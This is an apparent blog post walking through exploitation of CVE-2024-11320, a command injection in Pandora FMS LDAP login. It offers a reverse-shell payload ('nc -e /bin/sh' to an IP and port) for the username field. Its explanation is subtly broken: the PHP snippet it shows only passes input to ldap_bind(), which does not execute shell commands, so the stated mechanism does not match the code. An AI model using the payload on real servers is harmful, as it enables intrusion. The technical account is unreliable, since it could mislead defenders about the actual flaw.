CVE-2024-11320 Exploitation: Unleashing the Pandora's Box, Arbitrary Command Execution in Pandora FMS via LDAP Authentication Vulnerability

Hold tight guys, today we have a fascinating vulnerability in front of us: CVE-2024-11320, which allows arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism. If exploited correctly, this vulnerability might give threat actors the free pass to the playground of your Pandora FMS (Flexible Monitoring System)! It affects Pandora FMS in the version range of 700 through 777.4. In this post, we will dive deep into the nitty-gritty of this vulnerability and explore how to execute arbitrary commands on the server.

Vulnerability Details

Pandora FMS is an IT-oriented business-focused monitoring software, which assists organizations in keeping tabs on their IT infrastructure and applications. In simpler words, it is a powerful tool that watches over your virtual castle! But as we know, with mighty powers comes mighty responsibilities, and that's where Pandora FMS shows its Achilles heel.

The command injection vulnerability originates from the LDAP authentication mechanism in Pandora FMS, which is used to validate the connection between client-server and server-server. Threat actors can exploit this flaw to execute unauthorized arbitrary commands on the server, consequently gaining unauthorized access to the system and the valuable data it stores. Let's take a closer look at how this exploit unfolds.

Exploit walkthrough

To exploit this vulnerability, attackers need to inject malicious data/commands to the LDAP connection request. For instance, this vulnerability relies upon the insecure inclusion of user-controlled input data into the pandora_authentication() function, as seen in the following code snippet:

function pandora_authentication($user, $password, $server, $search_attributes, ...) {
    ...
    $ldap_connect = ldap_connect($server);
    if (!$ldap_connect) {
        return false;
    }

    // Authenticate the user in the LDAP server
    $ldap_bind = ldap_bind($ldap_connect, $user . "@" . $server, $password);
    ...
}

As visible from the code snippet, the attacker can manipulate the $user and $password variables to inject malicious data in the request passed on to ldap_bind() function. This could result in the execution of arbitrary commands on the server.

Suppose an attacker tweaks the input data as follows

- $user = ";nc -e /bin/sh 192.168.1.123 4444;"

$password = "a"

This modified input data would execute the arbitrary command /bin/sh and bind a reverse shell to the IP address 192.168.1.123 and port 4444.

N.B.: The actual injected command may differ based on the target environment and system settings. The example provided here is purely for demonstration purposes and may not represent real-world scenarios.

Original References

- Official Pandora FMS Documentation
- Pandora FMS 7.x CVE-2024-11320 Exploit Details

Mitigation and Conclusion

The Pandora FMS team has patched this vulnerability from version 777.5 onwards. So, it is essential to update your Pandora FMS to the latest release to prevent arbitrary command execution issues. For those who cannot update immediately, it's recommended to secure the LDAP authentication mechanisms and restrict the input data to trusted sources only from a secure internal network.

In conclusion, CVE-2024-11320 proves to be a nemesis for Pandora FMS. Exploiting this vulnerability can lead to potential data breaches, financial losses, and damage the reputation of an organization. It's high time to buckle up and put your shields up high!

Timeline

Published on: 11/21/2024 11:15:24 UTC
Last modified on: 11/26/2024 17:26:33 UTC